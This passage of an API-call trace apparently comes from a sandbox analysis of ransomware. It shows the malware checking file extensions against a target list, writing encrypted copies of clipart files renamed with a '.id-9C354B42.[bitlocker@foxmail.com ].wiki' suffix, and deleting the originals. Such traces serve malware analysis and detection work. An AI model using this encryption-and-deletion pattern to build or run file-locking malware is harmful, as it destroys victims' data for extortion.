lpString2=".JPG") returned 1 [0190.902] lstrlenW (lpString=".xlsx") returned 5 [0190.902] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0190.902] lstrlenW (lpString=".ppt") returned 4 [0190.902] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString=".zip") returned 4 [0190.902] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.902] lstrlenW (lpString=".rar") returned 4 [0190.902] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.902] lstrlenW (lpString=".bz2") returned 4 [0190.902] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.902] lstrlenW (lpString=".7z") returned 3 [0190.902] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString=".dbf") returned 4 [0190.902] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString=".1cd") returned 4 [0190.902] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0190.902] lstrlenW (lpString=".jpg") returned 4 [0190.902] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.903] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.903] lstrlenW (lpString="J0099154.JPG") returned 12 [0190.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.903] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6929) returned 1 [0190.903] CloseHandle (hObject=0x1e4) returned 1 [0190.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0190.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.903] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.903] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.904] GetLastError () returned 0x0 [0190.904] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1b11, lpOverlapped=0x0) returned 1 [0190.949] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0190.950] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.950] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.950] SetEndOfFile (hFile=0x1d8) returned 1 [0190.950] CloseHandle (hObject=0x1d8) returned 1 [0190.950] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.950] SetEndOfFile (hFile=0x1e4) returned 1 [0190.951] CloseHandle (hObject=0x1e4) returned 1 [0190.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0190.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.951] lstrlenW (lpString=".doc") returned 4 [0190.951] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.951] lstrlenW (lpString=".docx") returned 5 [0190.951] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0190.951] lstrlenW (lpString=".pdf") returned 4 [0190.951] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.952] lstrlenW (lpString=".xls") returned 4 [0190.952] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.952] lstrlenW (lpString=".xlsx") returned 5 [0190.952] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0190.952] lstrlenW (lpString=".ppt") returned 4 [0190.952] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.952] lstrlenW (lpString=".zip") returned 4 [0190.952] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.952] lstrlenW (lpString=".rar") returned 4 [0190.952] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.952] lstrlenW (lpString=".bz2") returned 4 [0190.952] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.952] lstrlenW (lpString=".7z") returned 3 [0190.952] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.952] lstrlenW (lpString=".dbf") returned 4 [0190.952] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.952] lstrlenW (lpString=".1cd") returned 4 [0190.952] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.952] lstrlenW (lpString=".jpg") returned 4 [0190.952] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString=".doc") returned 4 [0190.953] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.953] lstrlenW (lpString=".docx") returned 5 [0190.953] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0190.953] lstrlenW (lpString=".pdf") returned 4 [0190.953] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.953] lstrlenW (lpString=".xls") returned 4 [0190.953] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.953] lstrlenW (lpString=".xlsx") returned 5 [0190.953] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0190.953] lstrlenW (lpString=".ppt") returned 4 [0190.953] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString=".zip") returned 4 [0190.953] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.953] lstrlenW (lpString=".rar") returned 4 [0190.953] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.953] lstrlenW (lpString=".bz2") returned 4 [0190.953] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.953] lstrlenW (lpString=".7z") returned 3 [0190.953] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString=".dbf") returned 4 [0190.953] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString=".1cd") returned 4 [0190.953] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0190.953] lstrlenW (lpString=".jpg") returned 4 [0190.954] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.954] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.954] lstrlenW (lpString="J0099159.WMF") returned 12 [0190.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.954] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27546) returned 1 [0190.954] CloseHandle (hObject=0x1e4) returned 1 [0190.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0190.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.955] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.955] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.955] GetLastError () returned 0x0 [0190.955] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0190.993] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0190.994] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.994] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.994] SetEndOfFile (hFile=0x1d8) returned 1 [0190.995] CloseHandle (hObject=0x1d8) returned 1 [0190.995] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.995] SetEndOfFile (hFile=0x1e4) returned 1 [0190.996] CloseHandle (hObject=0x1e4) returned 1 [0190.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0190.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.996] lstrlenW (lpString=".doc") returned 4 [0190.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.996] lstrlenW (lpString=".docx") returned 5 [0190.996] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.996] lstrlenW (lpString=".pdf") returned 4 [0190.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.996] lstrlenW (lpString=".xls") returned 4 [0190.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.996] lstrlenW (lpString=".xlsx") returned 5 [0190.996] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.996] lstrlenW (lpString=".ppt") returned 4 [0190.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString=".zip") returned 4 [0190.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.997] lstrlenW (lpString=".rar") returned 4 [0190.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString=".bz2") returned 4 [0190.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString=".7z") returned 3 [0190.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString=".dbf") returned 4 [0190.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString=".1cd") returned 4 [0190.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString=".jpg") returned 4 [0190.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.997] lstrlenW (lpString=".doc") returned 4 [0190.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString=".docx") returned 5 [0190.997] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.997] lstrlenW (lpString=".pdf") returned 4 [0190.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString=".xls") returned 4 [0190.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.997] lstrlenW (lpString=".xlsx") returned 5 [0190.997] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.997] lstrlenW (lpString=".ppt") returned 4 [0190.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.998] lstrlenW (lpString=".zip") returned 4 [0190.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.998] lstrlenW (lpString=".rar") returned 4 [0190.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.998] lstrlenW (lpString=".bz2") returned 4 [0190.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.998] lstrlenW (lpString=".7z") returned 3 [0190.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.998] lstrlenW (lpString=".dbf") returned 4 [0190.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.998] lstrlenW (lpString=".1cd") returned 4 [0190.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0190.998] lstrlenW (lpString=".jpg") returned 4 [0190.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.998] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.998] lstrlenW (lpString="J0099164.WMF") returned 12 [0190.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.999] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21946) returned 1 [0190.999] CloseHandle (hObject=0x1e4) returned 1 [0190.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0190.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.999] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.999] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.999] GetLastError () returned 0x0 [0191.000] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x55ba, lpOverlapped=0x0) returned 1 [0191.052] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0191.053] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.053] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.053] SetEndOfFile (hFile=0x1d8) returned 1 [0191.053] CloseHandle (hObject=0x1d8) returned 1 [0191.053] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.053] SetEndOfFile (hFile=0x1e4) returned 1 [0191.054] CloseHandle (hObject=0x1e4) returned 1 [0191.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.055] lstrlenW (lpString=".doc") returned 4 [0191.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString=".docx") returned 5 [0191.055] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.055] lstrlenW (lpString=".pdf") returned 4 [0191.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString=".xls") returned 4 [0191.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.055] lstrlenW (lpString=".xlsx") returned 5 [0191.055] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.055] lstrlenW (lpString=".ppt") returned 4 [0191.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.055] lstrlenW (lpString=".zip") returned 4 [0191.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.055] lstrlenW (lpString=".rar") returned 4 [0191.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString=".bz2") returned 4 [0191.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString=".7z") returned 3 [0191.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.055] lstrlenW (lpString=".dbf") returned 4 [0191.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.055] lstrlenW (lpString=".1cd") returned 4 [0191.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.056] lstrlenW (lpString=".jpg") returned 4 [0191.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.056] lstrlenW (lpString=".doc") returned 4 [0191.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString=".docx") returned 5 [0191.056] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.056] lstrlenW (lpString=".pdf") returned 4 [0191.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString=".xls") returned 4 [0191.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.056] lstrlenW (lpString=".xlsx") returned 5 [0191.056] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.056] lstrlenW (lpString=".ppt") returned 4 [0191.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0191.056] lstrlenW (lpString=".zip") returned 4 [0191.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.056] lstrlenW (lpString=".rar") returned 4 [0191.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.056] lstrlenW (lpString=".bz2") returned 4 [0191.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.056] lstrlenW 